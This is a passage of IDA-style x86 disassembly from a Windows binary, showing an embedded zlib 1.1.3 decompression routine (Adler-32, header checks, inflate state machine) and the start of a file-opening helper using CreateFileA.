xor edx, edx
mov ecx, 0FFF1h
div ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
xor edx, edx
mov ecx, 0FFF1h
div ecx
mov [ebp+var_8], edx
jmp loc_40D740
; ---------------------------------------------------------------------------
loc_40D97A: ; CODE XREF: sub_40D710+34j
mov eax, [ebp+var_8]
shl eax, 10h
or eax, [ebp+var_4]
loc_40D983: ; CODE XREF: sub_40D710+2Bj
mov esp, ebp
pop ebp
retn
sub_40D710 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, offset a1_1_3 ; "1.1.3"
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 2
sub eax, [ebp+8]
mov eax, off_4132D0[eax*4]
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D9A5 proc near ; DATA XREF: sub_40DAB5+68o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jz short loc_40D9BC
mov eax, [ebp+arg_8]
sub eax, [ebp+arg_8]
mov ecx, [ebp+arg_4]
add ecx, eax
mov [ebp+arg_4], ecx
loc_40D9BC: ; CODE XREF: sub_40D9A5+7j
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call dword_413208 ; calloc
add esp, 8
pop ebp
retn
sub_40D9A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D9CF proc near ; DATA XREF: sub_40DAB5+85o
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
call dword_4131D4 ; free
add esp, 4
pop ebp
retn
sub_40D9CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D9E1 proc near ; CODE XREF: sub_40DAB5+172p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jz short loc_40D9F3
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1Ch], 0
jnz short loc_40D9FA
loc_40D9F3: ; CODE XREF: sub_40D9E1+7j
mov eax, 0FFFFFFFEh
jmp short loc_40DA4A
; ---------------------------------------------------------------------------
loc_40D9FA: ; CODE XREF: sub_40D9E1+10j
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+8], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+18h], 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+0Ch]
neg eax
sbb eax, eax
and eax, 7
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx], eax
push 0
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+14h]
push eax
call sub_40ADBE
add esp, 0Ch
xor eax, eax
loc_40DA4A: ; CODE XREF: sub_40D9E1+17j
pop ebp
retn
sub_40D9E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DA4C proc near ; CODE XREF: sub_40DAB5+FEp
; sub_40DAB5+15Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jz short loc_40DA67
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1Ch], 0
jz short loc_40DA67
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+24h], 0
jnz short loc_40DA6E
loc_40DA67: ; CODE XREF: sub_40DA4C+7j
; sub_40DA4C+10j
mov eax, 0FFFFFFFEh
jmp short loc_40DAB3
; ---------------------------------------------------------------------------
loc_40DA6E: ; CODE XREF: sub_40DA4C+19j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp dword ptr [eax+14h], 0
jz short loc_40DA90
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+14h]
push ecx
call sub_40C2D5
add esp, 8
loc_40DA90: ; CODE XREF: sub_40DA4C+2Cj
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_0]
call dword ptr [eax+24h]
add esp, 8
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+1Ch], 0
xor eax, eax
loc_40DAB3: ; CODE XREF: sub_40DA4C+20j
pop ebp
retn
sub_40DA4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DAB5 proc near ; CODE XREF: sub_40F6B0+163p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], offset a1_1_3_0 ; "1.1.3"
mov [ebp+var_C], 38h
cmp [ebp+var_4], 0
jz short loc_40DAE6
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
movsx edx, ds:byte_4177F4
cmp ecx, edx
jnz short loc_40DAE6
cmp [ebp+var_C], 38h
jz short loc_40DAF0
loc_40DAE6: ; CODE XREF: sub_40DAB5+18j
; sub_40DAB5+29j
mov eax, 0FFFFFFFAh
jmp loc_40DC31
; ---------------------------------------------------------------------------
loc_40DAF0: ; CODE XREF: sub_40DAB5+2Fj
mov [ebp+var_8], 0FFFFFFF1h
cmp [ebp+arg_0], 0
jnz short loc_40DB07
mov eax, 0FFFFFFFEh
jmp loc_40DC31
; ---------------------------------------------------------------------------
loc_40DB07: ; CODE XREF: sub_40DAB5+46j
mov eax, [ebp+arg_0]
mov dword ptr [eax+18h], 0
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+20h], 0
jnz short loc_40DB2E
mov edx, [ebp+arg_0]
mov dword ptr [edx+20h], offset sub_40D9A5
mov eax, [ebp+arg_0]
mov dword ptr [eax+28h], 0
loc_40DB2E: ; CODE XREF: sub_40DAB5+63j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+24h], 0
jnz short loc_40DB41
mov edx, [ebp+arg_0]
mov dword ptr [edx+24h], offset sub_40D9CF
loc_40DB41: ; CODE XREF: sub_40DAB5+80j
push 18h
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+20h]
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov [ecx+1Ch], eax
mov edx, [ebp+arg_0]
cmp dword ptr [edx+1Ch], 0
jnz short loc_40DB6E
mov eax, 0FFFFFFFCh
jmp loc_40DC31
; ---------------------------------------------------------------------------
loc_40DB6E: ; CODE XREF: sub_40DAB5+ADj
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax+0Ch], 0
cmp [ebp+var_8], 0
jge short loc_40DBA3
mov ecx, [ebp+var_8]
neg ecx
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax+0Ch], 1
loc_40DBA3: ; CODE XREF: sub_40DAB5+D7j
cmp [ebp+var_8], 8
jl short loc_40DBAF
cmp [ebp+var_8], 0Fh
jle short loc_40DBC2
loc_40DBAF: ; CODE XREF: sub_40DAB5+F2j
mov ecx, [ebp+arg_0]
push ecx
call sub_40DA4C
add esp, 4
mov eax, 0FFFFFFFEh
jmp short loc_40DC31
; ---------------------------------------------------------------------------
loc_40DBC2: ; CODE XREF: sub_40DAB5+F8j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [ebp+var_8]
mov [eax+10h], ecx
mov edx, 1
mov ecx, [ebp+var_8]
shl edx, cl
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+0Ch]
neg edx
sbb edx, edx
not edx
and edx, offset sub_40D710
push edx
mov eax, [ebp+arg_0]
push eax
call sub_40AE75
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx+14h], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp dword ptr [ecx+14h], 0
jnz short loc_40DC23
mov edx, [ebp+arg_0]
push edx
call sub_40DA4C
add esp, 4
mov eax, 0FFFFFFFCh
jmp short loc_40DC31
; ---------------------------------------------------------------------------
loc_40DC23: ; CODE XREF: sub_40DAB5+159j
mov eax, [ebp+arg_0]
push eax
call sub_40D9E1
add esp, 4
xor eax, eax
loc_40DC31: ; CODE XREF: sub_40DAB5+36j
; sub_40DAB5+4Dj ...
mov esp, ebp
pop ebp
retn
sub_40DAB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC35 proc near ; CODE XREF: sub_40F872+26Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 0
jz short loc_40DC52
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1Ch], 0
jz short loc_40DC52
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0
jnz short loc_40DC5C
loc_40DC52: ; CODE XREF: sub_40DC35+Aj
; sub_40DC35+13j
mov eax, 0FFFFFFFEh
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40DC5C: ; CODE XREF: sub_40DC35+1Bj
xor edx, edx
cmp [ebp+arg_4], 4
setnz dl
dec edx
and edx, 0FFFFFFFBh
mov [ebp+arg_4], edx
mov [ebp+var_8], 0FFFFFFFBh
loc_40DC73: ; CODE XREF: sub_40DC35:loc_40E2B8j
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx]
mov [ebp+var_C], edx
cmp [ebp+var_C], 0Dh
ja loc_40E2B1
mov eax, [ebp+var_C]
jmp off_40E2C1[eax*4]
loc_40DC92: ; DATA XREF: HSho:off_40E2C1o
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_40DCA3
mov eax, [ebp+var_8]
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40DCA3: ; CODE XREF: sub_40DC35+64j
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov [ecx+4], edx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+4]
and ecx, 0Fh
mov edx, [ebp+arg_0]
mov eax, [edx]
add eax, 1
mov edx, [ebp+arg_0]
mov [edx], eax
cmp ecx, 8
jz short loc_40DD1F
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 0Dh
mov edx, [ebp+arg_0]
mov dword ptr [edx+18h], offset aUnknownCompres ; "unknown compression method"
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx+4], 5
jmp loc_40E2B8
; ---------------------------------------------------------------------------
loc_40DD1F: ; CODE XREF: sub_40DC35+C0j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+4]
shr ecx, 4
add ecx, 8
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp ecx, [eax+10h]
jbe short loc_40DD61
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Dh
mov eax, [ebp+arg_0]
mov dword ptr [eax+18h], offset aInvalidWindowS ; "invalid window size"
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx+4], 5
jmp loc_40E2B8
; ---------------------------------------------------------------------------
loc_40DD61: ; CODE XREF: sub_40DC35+102j
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 1
loc_40DD6D: ; CODE XREF: sub_40DC35+56j
; DATA XREF: HSho:0040E2C5o
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_40DD7E
mov eax, [ebp+var_8]
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40DD7E: ; CODE XREF: sub_40DC35+13Fj
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
xor eax, eax
mov al, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+4]
shl eax, 8
add eax, [ebp+var_4]
xor edx, edx
mov ecx, 1Fh
div ecx
test edx, edx
jz short loc_40DDFF
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 0Dh
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+18h], offset aIncorrectHeade ; "incorrect header check"
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax+4], 5
jmp loc_40E2B8
; ---------------------------------------------------------------------------
loc_40DDFF: ; CODE XREF: sub_40DC35+1A0j
mov ecx, [ebp+var_4]
and ecx, 20h
test ecx, ecx
jnz short loc_40DE1A
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 7
jmp loc_40E2B8
; ---------------------------------------------------------------------------
loc_40DE1A: ; CODE XREF: sub_40DC35+1D2j
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 2
loc_40DE26: ; CODE XREF: sub_40DC35+56j
; DATA XREF: HSho:0040E2C9o
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_40DE37
mov eax, [ebp+var_8]
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40DE37: ; CODE XREF: sub_40DC35+1F8j
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_0]
mov eax, [edx]
xor ecx, ecx
mov cl, [eax]
shl ecx, 18h
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [eax+8], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 3
loc_40DE89: ; CODE XREF: sub_40DC35+56j
; DATA XREF: HSho:0040E2CDo
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_40DE9A
mov eax, [ebp+var_8]
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40DE9A: ; CODE XREF: sub_40DC35+25Bj
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
xor ecx, ecx
mov cl, [edx]
shl ecx, 10h
mov edx, [eax+8]
add edx, ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov [ecx+8], edx
mov edx, [ebp+arg_0]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 4
loc_40DEF7: ; CODE XREF: sub_40DC35+56j
; DATA XREF: HSho:0040E2D1o
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_40DF08
mov eax, [ebp+var_8]
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40DF08: ; CODE XREF: sub_40DC35+2C9j
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ebp+arg_0]
mov eax, [edx]
xor edx, edx
mov dl, [eax]
shl edx, 8
mov eax, [ecx+8]
add eax, edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx+8], eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 5
loc_40DF65: ; CODE XREF: sub_40DC35+56j
; DATA XREF: HSho:0040E2D5o
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_40DF76
mov eax, [ebp+var_8]
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40DF76: ; CODE XREF: sub_40DC35+337j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [ebp+arg_0]
mov ecx, [eax]
xor eax, eax
mov al, [ecx]
mov ecx, [edx+8]
add ecx, eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [eax+8], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [ebp+arg_0]
mov ecx, [edx+8]
mov [eax+30h], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 6
mov eax, 2
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40DFE9: ; CODE XREF: sub_40DC35+56j
; DATA XREF: HSho:0040E2D9o
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Dh
mov eax, [ebp+arg_0]
mov dword ptr [eax+18h], offset aNeedDictionary ; "need dictionary"
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx+4], 0
mov eax, 0FFFFFFFEh
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40E016: ; CODE XREF: sub_40DC35+56j
; DATA XREF: HSho:0040E2DDo
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+14h]
push ecx
call sub_40AF6D
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0FFFFFFFDh
jnz short loc_40E057
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 0Dh
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx+4], 0
jmp loc_40E2B8
; ---------------------------------------------------------------------------
loc_40E057: ; CODE XREF: sub_40DC35+402j
cmp [ebp+var_8], 0
jnz short loc_40E063
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
loc_40E063: ; CODE XREF: sub_40DC35+426j
cmp [ebp+var_8], 1
jz short loc_40E071
mov eax, [ebp+var_8]
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40E071: ; CODE XREF: sub_40DC35+432j
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
add eax, 4
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+14h]
push ecx
call sub_40ADBE
add esp, 0Ch
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp dword ptr [eax+0Ch], 0
jz short loc_40E0B4
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Ch
jmp loc_40E2B8
; ---------------------------------------------------------------------------
loc_40E0B4: ; CODE XREF: sub_40DC35+46Cj
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 8
loc_40E0C0: ; CODE XREF: sub_40DC35+56j
; DATA XREF: HSho:0040E2E1o
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_40E0D1
mov eax, [ebp+var_8]
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40E0D1: ; CODE XREF: sub_40DC35+492j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
xor eax, eax
mov al, [edx]
shl eax, 18h
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx+8], eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 9
loc_40E123: ; CODE XREF: sub_40DC35+56j
; DATA XREF: HSho:0040E2E5o
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_40E134
mov eax, [ebp+var_8]
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40E134: ; CODE XREF: sub_40DC35+4F5j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [ebp+arg_0]
mov ecx, [eax]
xor eax, eax
mov al, [ecx]
shl eax, 10h
mov ecx, [edx+8]
add ecx, eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [eax+8], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Ah
loc_40E191: ; CODE XREF: sub_40DC35+56j
; DATA XREF: HSho:0040E2E9o
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_40E1A2
mov eax, [ebp+var_8]
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40E1A2: ; CODE XREF: sub_40DC35+563j
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
xor ecx, ecx
mov cl, [edx]
shl ecx, 8
mov edx, [eax+8]
add edx, ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov [ecx+8], edx
mov edx, [ebp+arg_0]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 0Bh
loc_40E1FF: ; CODE XREF: sub_40DC35+56j
; DATA XREF: HSho:0040E2EDo
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_40E210
mov eax, [ebp+var_8]
jmp loc_40E2BD
; ---------------------------------------------------------------------------
loc_40E210: ; CODE XREF: sub_40DC35+5D1j
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ebp+arg_0]
mov eax, [edx]
xor edx, edx
mov dl, [eax]
mov eax, [ecx+8]
add eax, edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx+8], eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [ecx+4]
cmp ecx, [eax+8]
jz short loc_40E297
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 0Dh
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+18h], offset aIncorrectDataC ; "incorrect data check"
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax+4], 5
jmp short loc_40E2B8
; ---------------------------------------------------------------------------
loc_40E297: ; CODE XREF: sub_40DC35+63Bj
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Ch
loc_40E2A3: ; CODE XREF: sub_40DC35+56j
; DATA XREF: HSho:0040E2F1o
mov eax, 1
jmp short loc_40E2BD
; ---------------------------------------------------------------------------
loc_40E2AA: ; CODE XREF: sub_40DC35+56j
; DATA XREF: HSho:0040E2F5o
mov eax, 0FFFFFFFDh
jmp short loc_40E2BD
; ---------------------------------------------------------------------------
loc_40E2B1: ; CODE XREF: sub_40DC35+4Dj
mov eax, 0FFFFFFFEh
jmp short loc_40E2BD
; ---------------------------------------------------------------------------
loc_40E2B8: ; CODE XREF: sub_40DC35+E5j
; sub_40DC35+127j ...
jmp loc_40DC73
; ---------------------------------------------------------------------------
loc_40E2BD: ; CODE XREF: sub_40DC35+22j
; sub_40DC35+69j ...
mov esp, ebp
pop ebp
retn
sub_40DC35 endp
; ---------------------------------------------------------------------------
off_40E2C1 dd offset loc_40DC92 ; DATA XREF: sub_40DC35+56r
dd offset loc_40DD6D
dd offset loc_40DE26
dd offset loc_40DE89
dd offset loc_40DEF7
dd offset loc_40DF65
dd offset loc_40DFE9
dd offset loc_40E016
dd offset loc_40E0C0
dd offset loc_40E123
dd offset loc_40E191
dd offset loc_40E1FF
dd offset loc_40E2A3
dd offset loc_40E2AA
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E2F9 proc near ; CODE XREF: sub_40FE9E+7Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
cmp [ebp+arg_8], 1
jz short loc_40E321
cmp [ebp+arg_8], 2
jz short loc_40E321
cmp [ebp+arg_8], 3
jz short loc_40E321
mov eax, [ebp+arg_C]
mov dword ptr [eax], 10000h
xor eax, eax
jmp loc_40E487
; ---------------------------------------------------------------------------
loc_40E321: ; CODE XREF: sub_40E2F9+Aj
; sub_40E2F9+10j ...
mov [ebp+var_8], 0
mov byte ptr [ebp+var_4], 0
mov ecx, [ebp+arg_C]
mov dword ptr [ecx], 0
cmp [ebp+arg_8], 1
jz short loc_40E345
cmp [ebp+arg_8], 2
jnz loc_40E3DC
loc_40E345: ; CODE XREF: sub_40E2F9+40j
cmp [ebp+arg_8], 1
jnz short loc_40E38E
mov edx, [ebp+arg_0]
mov [ebp+var_18], edx
push 2
push 0
push 0
lea eax, [ebp+var_8]
push eax
call dword_413098 ; GetCurrentProcess
push eax
mov ecx, [ebp+var_18]
push ecx
call dword_413098 ; GetCurrentProcess
push eax
call dword_41309C ; DuplicateHandle
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_40E38C
mov edx, [ebp+arg_C]
mov dword ptr [edx], 100h
xor eax, eax
jmp loc_40E487
; ---------------------------------------------------------------------------
loc_40E38C: ; CODE XREF: sub_40E2F9+81j
jmp short loc_40E3C3
; ---------------------------------------------------------------------------
loc_40E38E: ; CODE XREF: sub_40E2F9+50j
push 0
push 80h
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+arg_0]
push eax
call dword_413018 ; CreateFileA
mov [ebp+var_8], eax
cmp [ebp+var_8], 0FFFFFFFFh
jnz short loc_40E3C3
mov ecx, [ebp+arg_C]
mov dword ptr [ecx], 200h
xor eax, eax
jmp loc_40E487
; ---------------------------------------------------------------------------
